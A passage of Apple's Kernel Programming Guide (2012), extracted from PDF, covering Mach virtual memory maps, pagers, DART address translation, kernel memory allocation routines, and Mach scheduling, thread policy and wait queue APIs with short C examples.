the value passed for interruptible should be FALSE, and pmap should be NULL. Memory and Virtual Memory Using Mach Memory Maps 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 67Copying data from the kernel to user space is exactly the same as copying data from user space, except that you pass kernel_map to vm_map_copyin and pass the user map to vm_map_copy_overwrite. In general, however, you should avoid doing this, since you could end up with a task’s memory being fragmented into lots of tiny objects, which is undesirable. Do not use vm_map_copyout when copying data into an existing user task’s address map. The function vm_map_copyout is used for filling an unused region in an address map. If the region is allocated, then vm_map_copyout does nothing. Because it requires knowledge of the current state of the map, it is primarily used when creating a new address map (for example, if you are manually creating a new process). For most purposes, you do not need to use vm_map_copyout. The functions vm_map_wire and vm_map_unwire can be used to wire and unwire portions of an address map. If you set the argument user_wire to TRUE, then the page can be unwired from user space. This should be set to FALSE if you are about to use the memory for I/O or for some other operation that cannot tolerate paging. In vm_map_wire, the argument access_type indicates the types of accesses that should not be allowed to generate a page fault. In general, however, you should be using vm_wire to wire memory. As mentioned earlier, this information is presented strictly for use in the heart of the kernel. You cannot use anything in this section from a kernel extension. Other VM and VM-Related Subsystems There are two additional VM subsystems: pagers and the working set detection subsystem. In addition, the VM shared memory server subsystem is closely tied to (but is not part of) the VM subsystem. This section describes these three VM and VM-related subsystems. Pagers OS X has three basic pagers: the vnode pager, the default pager (or anonymous pager), and the device pager. These are used by the VM system to actually get data into the VM objects that underlie named entries. Pagers are linked into the VM system through a combination of a subset of the old Mach pager interface and UPLs. The default pager is what most people think of when they think of a VM system. It is responsible for moving normal data into and out of the backing store. In addition, there is a facility known as the dynamic pager that sits on top of the default pager and handles the creation and deletion of backing store files. These pager files are filled with data in clusters (groups of pages). When the total fullness of the paging file pool reaches a high–water mark, the default pager asks the dynamic pager to allocate a new store file. When the pool drops below its low water mark, the VM system selects a pager file, moves its contents into other pager files, and deletes it from disk. Memory and Virtual Memory Other VM and VM-Related Subsystems 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 68The vnode pager has a 1:1 (onto) mapping between objects in VM space and open files (vnodes). It is used for memory mapped file I/O. The vnode pager is generally hidden behind calls to BSD file APIs. The device pager allows you to map non–general-purpose memory with the cache characteristics required for that memory (WIMG). Non–general–purpose memory includes physical addresses that are mapped onto hardware other than main memory—for example, PCI memory, frame buffer memory, and so on. The device pager is generally hidden behind calls to various I/O Kit functions. Working Set Detection Subsystem To improve performance, OS X has a subsystem known asthe working set detection subsystem. Thissubsystem is called on a VM fault; it keeps a profile of the fault behavior of each task from the time of its inception. In addition, just before a page request, the fault code asksthissubsystem which adjacent pagesshould be brought in, and then makes a single large request to the pager. Since files on disk tend to have fairly good locality, and since address space locality is largely preserved in the backing store, this provides a substantial performance boost. Also, since it is based upon the application’s previous behavior, it tends to pull in pages that would probably have otherwise been needed later. This occurs for all pagers. The working set code works well once it is established. However, without help, its performance would be the baseline performance until a profile for a given application has been developed. To overcome this, the first time that an application is launched in a given user context, the initial working set required to start the application is captured and stored in a file. From then on, when the application is started, that file is used to seed the working set. These working set files are established on a per-user basis. They are stored in /var/vm/app_profile and are only accessible by the super-user (and the kernel). VM Shared Memory Server Subsystem The VM shared memory server subsystem is a BSD service that is closely tied to VM, but is not part of VM. This server provides two submaps that are used for shared library support in OS X. Because shared libraries contain both read-only portions (text segment) and read-write portions (data segment), the two portions are treated separately to maximize efficiency. The read-only portions are completely shared between tasks, including the underlying pmap entries. The read-write portions share a common submap, but have different underlying data objects (achieved through copy-on-write). The three functions exported by the VM shared memory server subsystem should only be called by dyld. Do not use them in your programs. Memory and Virtual Memory Other VM and VM-Related Subsystems 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 69The function load_shared_file is used to load a new shared library into the system. Once such a file is loaded, other tasks can then depend on it, so a shared library cannot be unshared. However, a new set of shared regions can be created with new_system_shared_regions so that no new tasks will use old libraries. The function reset_shared_file can be used to reset any changes that your task may have made to its private copy of the data section for a file. Finally, the function new_system_shared_regions can be used to create a new set of shared regions for future tasks. New regions can be used when updating prebinding with new shared libraries to cause new tasks to see the latest libraries at their new locations in memory. (Users of old shared libraries will still work, but they will fall off the pre-bound path and will perform less efficiently.) It can also be used when dealing with private libraries that you want to share only with your task’s descendents. Address Spaces This section explains issues that some developers may see when using their drivers in Panther or later. These changes were necessitated by a combination of hardware and underlying OS changes; however, you may see problems resulting from the changes even on existing hardware. There are three basic areas of change in OS X v10.3. These are: ● IOMemoryDescriptor changes ● VM system (pmap) changes ● Kernel dependency changes These are described in detail in the sections that follow. Background Info on PCI Address Translation To allow existing device drivers to work with upcoming 64-bit system architectures, a number of changes were required. To explain these, a brief introduction to PCI bus bridges is needed. When a PCI device needs to perform a data transaction to or from main memory, the device driver calls a series of functions intended to prepare this memory for I/O. In an architecture where both the device drivers and the memory subsystem use 32-bit addressing, everything just works, so long as the memory doesn't get paged out during the I/O operation. As kernel memory is generally not pageable, the preparation islargely superfluous. On a system whose memory subsystem uses 64-bit addressing, however, this becomes a bit of a problem. Because the hardware devices on the PCI bus can only handle 32-bit addresses, the device can only “see” a 4 gigabyte aperture into the (potentially much larger) main memory at any given time. Memory and Virtual Memory Address Spaces 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 70There are two possible solutionsfor this problem. The easy (butslow)solution would be to use “bounce buffers”. In such a design, device drivers would copy data into memory specifically allocated within the bottom 4 gigs of memory. However, this incurs a performance penalty and also puts additional constraints on the lower 4 gigs of memory, causing numerous problems for the VM system. The other solution, the one chosen in Apple's 64-bit implementation, is to use address translation to “map” blocks of memory into the 32-bit address space of the PCI devices. While the PCI device can still only see a 4 gig aperture, that aperture can then be non-contiguous, and thus bounce buffers and other restrictions are unnecessary. This address translation is done using a part of the memory controller known as DART, which stands for Device Address Resolution Table. This introduces a number of potential problems, however. First, physical addresses as seen by the processor no longer map 1:1 onto the addresses as seen by PCI devices. Thus, a new term, I/O addresses, is introduced to describe this new view. Because I/O addresses and physical addresses are no longer the same, the DART must keep a table of translations to use when mapping between them. Fortunately, if your driver is written according to Apple guidelines (using only documented APIs), this process is handled transparently. Note: This additional addressing mode has an impact when debugging I/O Kit device drivers. For more information, see “When Things Go Wrong: Debugging the Kernel” (page 161). IOMemoryDescriptor Changes When your driver calls IOMemoryDescriptor::prepare, a mapping is automatically injected into the DART. When it calls IOMemoryDescriptor::release , the mapping is removed. If you fail to do this, your driver could experience random data corruption or panics. Because the DART requires different caching for reads and writes, the DMA direction is important on hardware that includes a DART. While you may receive random failuresif the direction is wrong in general (on any system), if you attempt to call WriteBytes on a memory region whose DMA direction is set up for reading, you will cause a kernel panic on 64-bit hardware. If you attempt to perform a DMA transaction to unwired (user) memory, on previous systems, you would only get random crashes, panics, and data corruption. On machines with a DART, you will likely get no data whatsoever. As a side-effect of changes in the memory subsystem, OS X is much more likely to return physically contiguous page ranges in memory regions. Historically, OS X returned multi-page memory regions in reverse order, starting with the last page and moving towards the first page. The result of this was that multi-page memory regions essentially never had a contiguous range of physical pages. Memory and Virtual Memory Address Spaces 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 71Because of the increased probability of seeing physically contiguous blocks of memory in a memory region, this change may expose latent bugs in some drivers that only show up when handling contiguous ranges of physical pages, which could result in incorrect behavior or panics. Note that the problems mentioned above are caused by bugs in the drivers, and could result in problems on older hardware prior to Panther. These issues are more likely to occur in Panther and later versions of OS X, however, because of the new hardware designs and the OS changes that were made to support those designs. VM System and pmap Changes: In Panther, as a result of the changes described in detail in the section on PCI address translation, physical addresses obtained directly from the pmap layer have no useful purpose outside the VM system itself. To prevent their inadvertent use in device drivers, the pmap calls are no longer available from kernel extensions. A few drivers written prior to the addition of the IOMemoryDescriptor class still use pmap calls to get the physical pages associated with a virtual address. Also, a few developers have looked at the IOMemoryDescriptor implementation and chosen to obtain addresses directly from the pmap layer to remove what was perceived as an unnecessary abstraction layer. Even without removing access to the pmap calls, these drivers would not function on systems with a DART (see the PCI section above for info on DARTs). To better emphasize this upcoming failure, Panther will cause these drivers to fail to load with an undefined symbol error (generally for pmap_extract ) even on systems without a DART. Kernel Dependency Changes Beginning in Panther, device drivers that declare a dependency on version 7 (the Panther version) of the I/O Kit will no longer automatically get symbols from Mach and BSD. This change was made to discourage I/O Kit developers from relying on symbols that are not explicitly approved for use in the I/O Kit. Existing drivers are unaffected by this change. This change only affects you if you explicitly modify your device driver to declare a dependency on version 7 of the I/O Kit to take advantage of new I/O Kit features. Summary As described above, some device drivers may require minor modifications to support Panther and higher. Apple has made every effort to ensure compatibility with existing device driversto the greatest extent possible, but a few drivers may break. If your driver breaks, you should first check to see if your driver includes any of the bugs described in the previous sections. If it does not, contact Apple Developer Technical Support for additional debugging suggestions. Memory and Virtual Memory Address Spaces 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 72Allocating Memory in the Kernel As with most things in the OS X kernel, there are a number of ways to allocate memory. The choice of routines depends both on the location of the calling routine and on the reason for allocating memory. In general, you should use Mach routines for allocating memory unless you are writing code for use in the I/O Kit, in which case you should use I/O Kit routines. Allocating Memory From a Non-I/O-Kit Kernel Extension The header defines the following routines for kernel memory allocation: ● OSMalloc—allocates a block of memory. ● OSMalloc_noblock—allocates a block of memory, but immediately returns NULL if the request would block. ● OSMalloc_nowait—same as OSMalloc_noblock. ● OSFree—releases memory allocated with any of the OSMalloc variants. ● OSMalloc_Tagalloc—allows you to create a unique tag for your memory allocations. You must create at least one tag before you can use any of the OSMalloc functions. ● OSMalloc_Tagfree—releases a tag allocated with OSMalloc_Tagalloc. (You must release all allocations associated with that tag before you call this function.) For example, to allocate and free a page of wired memory, you might write code like this: #include #define MYTAGNAME "com.apple.mytag" ... OSMallocTag mytag = OSMalloc_Tagalloc(MYTAGNAME, OSMT_DEFAULT); void *datablock = OSMalloc(PAGE_SIZE_64, mytag); ... OSFree(datablock, PAGE_SIZE_64, mytag); To allocate a page of pageable memory, pass OSMT_PAGEABLE instead of OSMT_DEFAULT in your call to OSMalloc_Tagalloc. Memory and Virtual Memory Allocating Memory in the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 73Allocating Memory From the I/O Kit Although the I/O Kit is generally beyond the scope of this document, the I/O Kit memory management routines are presented here for completeness. In general, I/O Kit routinesshould not be used outside the I/O Kit. Similarly, Mach allocation routines should not be directly used from the I/O Kit because the I/O Kit has abstractions for those routines that fit the I/O Kit development model more closely. The I/O Kit includes the following routines for kernel memory allocation: void *IOMalloc(vm_size_t size); void *IOMallocAligned(vm_size_t size, vm_size_t alignment); void *IOMallocContiguous(vm_size_t size, vm_size_t alignment, IOPhysicalAddress *physicalAddress); void *IOMallocPageable(vm_size_t size, vm_size_t alignment); void IOFree(void *address, vm_size_t size); void IOFreeAligned(void *address, vm_size_t size); void IOFreeContiguous(void *address, vm_size_t size); void IOFreePageable(void *address, vm_size_t size); Most of these routines are relatively transparent wrappers around the Mach allocation functions. There are two major differences, however. First, the caller does not need to know which memory map is being modified. Second, they have a separate free call for each allocation call for internal bookkeeping reasons. The functions IOMallocContiguous and IOMallocAligned differsomewhat fromtheir Mach underpinnings. IOMallocAligned uses calls directly to Mach VM to add support for arbitrary (power of 2) data alignment, rather than aligning based on the size of the object. IOMallocContiguous adds an additional parameter, PhysicalAddress. If this pointer is not NULL, the physical address is returned through this pointer. Using Mach functions, obtaining the physical address requires a separate function call. Memory and Virtual Memory Allocating Memory in the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 74Important: If your KEXT allocates memory that will be shared, you should create a buffer of type IOMemoryDescriptor or IOBufferMemoryDescriptor and specify that the buffer should be sharable. If you are allocating memory in a user application that will be shared with the kernel, you should use valloc or vm_allocate instead of malloc and then call mach_make_memory_entry_64. Allocating Memory In the Kernel Itself In addition to the routines available to kernel extensions, there are a number of other functions you can call to allocate memory when you are modifying the Mach kernel itself. Mach routines provide a relatively straightforward interface for allocating and releasing memory. They are the preferred mechanism for allocating memory outside of the I/O Kit. BSD also offers _MALLOC and _FREE, which may be used in BSD parts of the kernel. These routines do not provide for forced mapping of a given physical address to a virtual address. However, if you need such a mapping, you are probably writing a device driver, in which case you should be using I/O Kit routines instead of Mach routines. Most of these functions are based around the vm_offset_t type, which is a pointer-sized integer. In effect, you can think of them as pointers, with the caveat that they are not necessarily pointers to data in the kernel’s address space, depending on usage. These are some of the commonly used Mach routines for allocating memory: kern_return_t kmem_alloc(vm_map_t map, vm_offset_t *addrp, vm_size_t size); void kmem_free(vm_map_t map, vm_offset_t addr, vm_size_t size); kern_return_t mem_alloc_aligned(vm_map_t map, vm_offset_t *addrp, vm_size_t size); kern_return_t kmem_alloc_wired(vm_map_t map, vm_offset_t *addrp, vm_size_t size); kern_return_t kmem_alloc_pageable(vm_map_t map, vm_offset_t *addrp, vm_size_t size); kern_return_t kmem_alloc_contig(vm_map_t map, vm_offset_t *addrp, vm_size_t size, vm_offset_t mask, int flags); These functions all take a map as the first argument. Unless you need to allocate memory in a different map, you should pass kernel_map for this argument. Memory and Virtual Memory Allocating Memory in the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 75All of the kmem_alloc functions except kmem_alloc_pageable allocate wired memory. The function kmem_alloc_pageable creates the appropriate VM structures but does not back the region with physical memory. This function could be combined with vm_map_copyout when creating a new address map, for example. In practice, it is rarely used. The function kmem_alloc_aligned allocates memory aligned according to the value of the size argument, which must be a power of 2. The function kmem_alloc_wired is synonymous with kmem_alloc and is appropriate for data structures that cannot be paged out. It is not strictly necessary; however, if you explicitly need certain pieces of data to be wired, using kmem_alloc_wired makes it easier to find those portions of your code. The function kmem_alloc_contig attempts to allocate a block of physically contiguous memory. This is not always possible, and requires a full sort of the system free list even for short allocations. After startup, this sort can cause long delays, particularly on systems with lots of RAM. You should generally not use this function. The function kmem_free is used to free an object allocated with one of the kmem_alloc functions. Unlike the standard C free function, kmem_free requires the length of the object. If you are not allocating fixed-size objects (for example, sizeof struct foo), you may have to do some additional bookkeeping, since you must free an entire object, not just a portion of one. Memory and Virtual Memory Allocating Memory in the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 76OS X is based on Mach and BSD. Like Mach and most BSD UNIX systems, it contains an advanced scheduler based on the CMU Mach 3 scheduler. This chapter describes the scheduler from the perspective of both a kernel programmer and an application developer attempting to set scheduling parameters. This chapter begins with the “Overview of Scheduling” (page 77), which describes the basic concepts behind Mach scheduling at a high level, including real-time priority support. The second section, “Using Mach Scheduling From User Applications” (page 79), describes how to access certain key Mach scheduler routines from user applications and from other parts of the kernel outside the scheduler. The third section, “Kernel Thread APIs” (page 85), explains scheduler-related topics including how to create and terminate kernel threads and describes the BSD spl macros and their limited usefulness in OS X. Overview of Scheduling The OS X scheduler is derived from the scheduler used in OSFMK 7.3. In general, much documentation about prior implementations applies to the scheduler in OS X, although you will find numerous differences. The details of those differences are beyond the scope of this overview. Mach scheduling is based on a system of run queues at various priorities that are handled in different ways. The priority levels are divided into four bands according to their characteristics, as described in Table 10-1 (page 77). Table 10-1 Thread priority bands Priority Band Characteristics Normal normal application thread priorities System high priority threads whose priority has been raised above normal threads reserved for threads created inside the kernel that need to run at a higher priority than all user space threads (I/O Kit workloops, for example) Kernel mode only threads whose priority is based on getting a well-defined fraction of total clock cycles, regardless of other activity (in an audio player application, for example). Real-time threads 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 77 Mach Scheduling and Thread InterfacesThreads can migrate between priority levels for a number of reasons, largely as an artifact of the time sharing algorithm used. However, this migration is within a given band. Threads marked as being real-time priority are also special in the eyes of the scheduler. A real-time thread tells the scheduler that it needs to run for A cycles out of the next B cycles. For example, it might need to run for 3000 out of the next 7000 clock cyclesin order to keep up. It also tellsthe scheduler whether those cycles must be contiguous. Using long contiguous quanta is generally frowned upon but is occasionally necessary for specialized real-time applications. The kernel will make every effort to honor the request, but since this is soft real-time, it cannot be guaranteed. In particular, if the real-time thread requests something relatively reasonable, its priority will remain in the real-time band, but if it lies blatantly about its requirements and behaves in a compute-bound fashion, it may be demoted to the priority of a normal thread. Changing a thread’s priority to turn it into a real-time priority thread using Mach calls is described in more detail in “Using Mach Scheduling From User Applications” (page 79). In addition to the raw Mach RPC interfaces, some aspects of a thread’s priority can be controlled from user space using the POSIX thread priority API. The POSIX thread API is able to set thread priority only within the lowest priority band (0–63). For more information on the POSIX thread priority API, see “Using the pthreads API to Influence Scheduling” (page 79). Why Did My Thread Priority Change? There are many reasons that a thread’s priority can change. This section attempts to explain the root cause of these thread priority changes. A real-time thread, as mentioned previously, is penalized (and may even be knocked down to normal thread priority) if it exceeds its time quantum without blocking repeatedly. For this reason, it is very important to make a reasonable guess about your thread’s workload if it needs to run in the real-time band. Threadsthat are heavily compute-bound are given lower priority to help minimize response time for interactive tasksso that high–priority compute–bound threads cannot monopolize the system and prevent lower–priority I/O-bound threads from running. Even at a lower priority, the compute–bound threads still run frequently, since the higher–priority I/O-bound threads do only a short amount of processing, block on I/O again, then allow the compute-bound threads to execute. All of these mechanisms are operating continually in the Mach scheduler. This meansthat threads are frequently moving up or down in priority based upon their behavior and the behavior of other threads in the system. Mach Scheduling and Thread Interfaces Why Did My Thread Priority Change? 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 78Using Mach Scheduling From User Applications There are three basic ways to change how a user thread is scheduled. You can use the BSD pthreads API to change basic policy and importance. You can also use Mach RPC calls to change a task’s importance. Finally, you can use RPC calls to change the scheduling policy to move a thread into a different scheduling band. This is commonly used when interacting with CoreAudio. The pthreads API is a user space API, and has limited relevance for kernel programmers. The Mach thread and task APIs are more general and can be used from anywhere in the kernel. The Mach thread and task calls can also be called from user applications. Using the pthreads API to Influence Scheduling OS X supports a number of policies at the POSIX threads API level. If you need real-time behavior, you must use the Mach thread_policy_set call. This is described in “Using the Mach Thread API to Influence Scheduling” (page 80). The pthreads API adjuststhe priority of threads within a given task. It does not necessarily impact performance relative to threads in other tasks. To increase the priority of a task, you can use nice or renice from the command line or call getpriority and setpriority from your application. The API providestwo functions: pthread_getschedparam and pthread_setschedparam. Their prototypes look like this: pthread_setschedparam(pthread_t thread, int policy, struct sched_param *param); pthread_getschedparam(pthread_t thread, int *policy, struct sched_param *param) The arguments for pthread_getschedparam are straightforward. The first argument is a thread ID, and the others are pointers to memory where the results will be stored. The argumentsto pthread_setschedparam are not as obvious, however. As with pthread_getschedparam, the first argument is a thread ID. The second argument to pthread_setschedparam is the desired policy, which can currently be one of SCHED_FIFO (first in, first out), SCHED_RR (round-robin), or SCHED_OTHER. The SCHED_OTHER policy is generally used for extra policies that are specific to a given operating system, and should thus be avoided when writing portable code. The third argument is a structure that contains various scheduling parameters. Mach Scheduling and Thread Interfaces Using Mach Scheduling From User Applications 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 79Here is a basic example of using pthreads functions to set a thread’s scheduling policy and priority. int set_my_thread_priority(int priority) { struct sched_param sp; memset(&sp, 0, sizeof(struct sched_param)); sp.sched_priority=priority; if (pthread_setschedparam(pthread_self(), SCHED_RR, &sp) == -1) { printf("Failed to change priority.\n"); return -1; } return 0; } This code snippet sets the scheduling policy for the current thread to round-robin scheduling, and sets the thread’s relative importance within the task to the value passed in through the priority argument. For more information, see the manual page for pthread. Using the Mach Thread API to Influence Scheduling This API is frequently used in multimedia applications to obtain real-time priority. It is also useful in other situations when the pthread scheduling API cannot be used or does not provide the needed functionality. The API consists of two functions, thread_policy_set and thread_policy_get. kern_return_t thread_policy_set( thread_act_t thread, thread_policy_flavor_t flavor, thread_policy_t policy_info, mach_msg_type_number_t count); kern_return_t thread_policy_get( thread_act_t thread, thread_policy_flavor_t flavor, thread_policy_t policy_info, mach_msg_type_number_t *count, Mach Scheduling and Thread Interfaces Using Mach Scheduling From User Applications 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 80boolean_t *get_default); The parameters of these functions are roughly the same, except that the thread_policy_get function takes pointers for the count and the get_default arguments. The count is an inout parameter, meaning that it is interpreted as the maximum amount of storage (in units of int32_t) that the calling task has allocated for the return, but it is also overwritten by the scheduler to indicate the amount of data that was actually returned. These functions get and set several parameters, according to the thread policy chosen. The possible thread policies are listed in Table 10-2 (page 81). Table 10-2 Thread policies Policy Meaning THREAD_STANDARD_POLICY Default value THREAD_TIME_CONSTRAINT_POLICY Used to specify real-time behavior. Used to indicate the importance of computation relative to other threads in a given task. THREAD_PRECEDENCE_POLICY The following code snippet shows how to set the priority of a task to tell the scheduler that it needs real-time performance. The example values provided in comments are based on the estimated needs of esd (the Esound daemon). #include #include #include #include int set_realtime(int period, int computation, int constraint) { struct thread_time_constraint_policy ttcpolicy; int ret; thread_port_t threadport = pthread_mach_thread_np(pthread_self()); ttcpolicy.period=period; // HZ/160 ttcpolicy.computation=computation; // HZ/3300; ttcpolicy.constraint=constraint; // HZ/2200; ttcpolicy.preemptible=1; Mach Scheduling and Thread Interfaces Using Mach Scheduling From User Applications 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 81if ((ret=thread_policy_set(threadport, THREAD_TIME_CONSTRAINT_POLICY, (thread_policy_t)&ttcpolicy, THREAD_TIME_CONSTRAINT_POLICY_COUNT)) != KERN_SUCCESS) { fprintf(stderr, "set_realtime() failed.\n"); return 0; } return 1; } The time values are in terms of Mach absolute time units. Since these values differ on different CPUs, you should generally use numbers relative to HZ (a global variable in the kernel that contains the current number of ticks per second). You can either handle this conversion yourself by dividing this value by an appropriate quantity or use the conversion routines described in “Using Kernel Time Abstractions ” (page 142). Say your computer reports 133 million for the value of HZ. If you pass the example values given as arguments to this function, your thread tells the scheduler that it needs approximately 40,000 (HZ/3300) out of the next 833,333 (HZ/160) bus cycles. The preemptible value (1) indicates that those 40,000 bus cycles need not be contiguous. However, the constraint value (HZ/2200) tells the scheduler that there can be no more than 60,000 bus cycles between the start of computation and the end of computation. Note: Because the constraint sets a maximum bound for computation, it must be larger than the value for computation. A straightforward example using this API is code that displays video directly to the framebuffer hardware. It needs to run for a certain number of cycles every frame to get the new data into the frame buffer. It can be interrupted without worry, but if it isinterrupted for too long, the video hardware starts displaying an outdated frame before the software writes the updated data, resulting in a nasty glitch. Audio has similar behavior, but since it is usually buffered along the way (in hardware and in software), there is greater tolerance for variations in timing, to a point. Another policy call is THREAD_PRECEDENCE_POLICY. This is used for setting the relative importance of non-real-time threads. Its calling convention issimilar, except that itsstructure is thread_precedence_policy, and contains only one field, an integer_t called importance. While thisis a signed 32-bit value, the minimum legal value is zero (IDLE_PRI). threads set to IDLE_PRI will only execute when no other thread is scheduled to execute. Mach Scheduling and Thread Interfaces Using Mach Scheduling From User Applications 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 82In general, larger values indicate higher priority. The maximum limit is subject to change, as are the priority bands, some of which have special purposes (such as real-time threads). Thus, in general, you should use pthreads APIs to achieve this functionality rather than using this policy directly unless you are setting up an idle thread. Using the Mach Task API to Influence Scheduling This relatively simple API is not particularly useful for most developers. However, it may be beneficial if you are developing a graphical user interface for Darwin. It also provides some insight into the prioritization of tasks in OS X. It is presented here for completeness. The API consists of two functions, task_policy_set and task_policy_get. kern_return_t task_policy_set( task_t task, task_policy_flavor_t flavor, task_policy_t policy_info, mach_msg_type_number_t count); kern_return_t task_policy_get( task_t task, task_policy_flavor_t flavor, task_policy_t policy_info, mach_msg_type_number_t *count, boolean_t *get_default); As with thread_policy_set and thread_policy_get, the parameters are similar, except that the task_policy_get function takes pointers for the count and the get_default arguments. The count argument is an inout parameter. It is interpreted as the maximum amount of storage that the calling task has allocated for the return, but it is also overwritten by the scheduler to indicate the amount of data that was actually returned. These functions get and set a single parameter, that of the role of a given task, which changes the way the task’s priority gets altered over time. The possible roles of a task are listed in Table 10-3 (page 83). Table 10-3 Task roles Role Meaning TASK_UNSPECIFIED Default value Mach Scheduling and Thread Interfaces Using Mach Scheduling From User Applications 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 83Role Meaning This is set when a process is executed with nice or is modified by renice. TASK_RENICED GUI application in the foreground. There can be more than one foreground application. TASK_FOREGROUND_APPLICATION TASK_BACKGROUND_APPLICATION GUI application in the background. TASK_CONTROL_APPLICATION Reserved for the dock or equivalent (assigned FCFS). TASK_GRAPHICS_SERVER Reserved for WindowServer or equivalent (assigned FCFS). The following code snippet shows how to set the priority of a task to tell the scheduler that it is a foreground application (regardless of whether it really is). #include #include #include int set_my_task_policy(void) { int ret; struct task_category_policy tcatpolicy; tcatpolicy.role = TASK_FOREGROUND_APPLICATION; if ((ret=task_policy_set(mach_task_self(), TASK_CATEGORY_POLICY, (thread_policy_t)&tcatpolicy, TASK_CATEGORY_POLICY_COUNT)) != KERN_SUCCESS) { fprintf(stderr, "set_my_task_policy() failed.\n"); return 0; } return 1; } Mach Scheduling and Thread Interfaces Using Mach Scheduling From User Applications 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 84Kernel Thread APIs The OS X scheduler provides a number of public APIs. While many of these APIs should not be used, the APIs to create, destroy, and alter kernel threads are of particular importance. While not technically part of the scheduler itself, they are inextricably tied to it. The scheduler directly provides certain services that are commonly associated with the use of kernel threads, without which kernel threads would be of limited utility. For example, the scheduler provides support for wait queues, which are used in various synchronization primitives such as mutex locks and semaphores. Creating and Destroying Kernel Threads The recommended interface for creating threads within the kernel is through the I/O Kit. It provides IOCreateThread, IOThreadSelf, and IOExitThread functions that make it relatively painless to create threads in the kernel. The basic functions for creating and terminating kernel threads are: IOThread IOCreateThread(IOThreadFunc function, void *argument); IOThread IOThreadSelf(void); void IOExitThread(void); With the exception of IOCreateThread (which is a bit more complex), the I/O Kit functions are fairly thin wrappers around Mach thread functions. The types involved are also very thin abstractions. IOThread is really the same as thread_t. The IOCreateThread function creates a new thread that immediately begins executing the function that you specify. It passes a single argument to that function. If you need to pass more than one argument, you should dynamically allocate a data structure and pass a pointer to that structure. For example, the following code creates a kernel thread and executes the function myfunc in that thread: #include #include #include struct mydata { int three; char *string; }; Mach Scheduling and Thread Interfaces Kernel Thread APIs 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 85static void myfunc(void *myarg) { struct mydata *md = (struct mydata *)myarg; IOLog("Passed %d = %s\n", md->three, md->string); IOExitThread(); } void start_threads() { IOThread mythread; struct mydata *md = (struct mydata *)malloc(sizeof(*md)); md->three = 3; md->string = (char *)malloc(2 * sizeof(char)); md->string[0] = '3'; md->string[1] = '\0'; // Start a thread using IOCreateThread mythread = IOCreateThread(&myfunc, (void *)md); } One other useful function is thread_terminate. This can be used to destroy an arbitrary thread (except, of course, the currently running thread). This can be extremely dangerous if not done correctly. Before tearing down a thread with thread_terminate, you should lock the thread and disable any outstanding timers against it. If you fail to deactivate a timer, a kernel panic will occur when the timer expires. With that in mind, you may be able to terminate a thread as follows: thread_terminate(getact_thread(thread)); There thread is of type thread_t. In general, you can only be assured that you can kill yourself, not other threads in the system. The function thread_terminate takes a single parameter of type thread_act_t (a thread activation). The function getact_thread takes a thread shuttle (thread_shuttle_t) or thread_t and returns the thread activation associated with it. SPL and Friends BSD–based and Mach–based operating systems contain legacy functions designed for basic single-processor synchronization. These include functions such as splhigh, splbio, splx, and other similar functions. Since these functions are not particularly useful for synchronization in an SMP situation, they are not particularly useful as synchronization tools in OS X. Mach Scheduling and Thread Interfaces Kernel Thread APIs 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 86If you are porting legacy code from earlier Mach–based or BSD–based operating systems, you must find an alternate means of providing synchronization. In many cases, this is as simple as taking the kernel or network funnel. In parts of the kernel, the use of spl functions does nothing, but causes no harm if you are holding a funnel (and results in a panic if you are not). In other parts of the kernel, spl macros are actually used. Because spl cannot necessarily be used for itsintended purpose, itshould not be used in general unless you are writing code it a part of the kernel that already uses it. You should instead use alternate synchronization primitives such as those described in “Synchronization Primitives” (page 128). Wait Queues and Wait Primitives The wait queue API is used extensively by the scheduler and is closely tied to the scheduler in itsimplementation. It is also used extensively in locks, semaphores, and other synchronization primitives. The wait queue API is both powerful and flexible, and as a result issomewhat large. Not all of the API is exported outside the scheduler, and parts are not useful outside the context of the wait queue functions themselves. This section documents only the public API. The wait queue API includes the following functions: void wait_queue_init(wait_queue_t wq, int policy); extern wait_queue_t wait_queue_t wait_queue_alloc(int policy); void wait_queue_free(wait_queue_t wq); void wait_queue_lock(wait_queue_t wq); void wait_queue_lock_try(wait_queue_t wq); void wait_queue_unlock(wait_queue_t wq); boolean_t wait_queue_member(wait_queue_t wq, wait_queue_sub_t wq_sub); boolean_t wait_queue_member_locked(wait_queue_t wq, wait_queue_sub_t wq_sub); kern_return_t wait_queue_link(wait_queue_t wq, wait_queue_sub_t wq_sub); kern_return_t wait_queue_unlink(wait_queue_t wq, wait_queue_sub_t wq_sub); kern_return_t wait_queue_unlink_one(wait_queue_t wq, wait_queue_sub_t *wq_subp); void wait_queue_assert_wait(wait_queue_t wq, event_t event, int interruptible); void wait_queue_assert_wait_locked(wait_queue_t wq, event_t event, int interruptible, boolean_t unlocked); kern_return_t wait_queue_wakeup_all(wait_queue_t wq, event_t event, int result); kern_return_t wait_queue_peek_locked(wait_queue_t wq, event_t event, thread_t *tp, wait_queue_t *wqp); Mach Scheduling and Thread Interfaces Kernel Thread APIs 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 87void wait_queue_pull_thread_locked(wait_queue_t wq, thread_t thread, boolean_t unlock); thread_t wait_queue_wakeup_identity_locked(wait_queue_t wq, event_t event, int result, boolean_t unlock); kern_return_t wait_queue_wakeup_one(wait_queue_t wq, event_t event, int result); kern_return_t wait_queue_wakeup_one_locked(wait_queue_t wq, event_t event, int result, boolean_t unlock); kern_return_t wait_queue_wakeup_thread(wait_queue_t wq, event_t event, thread_t thread, 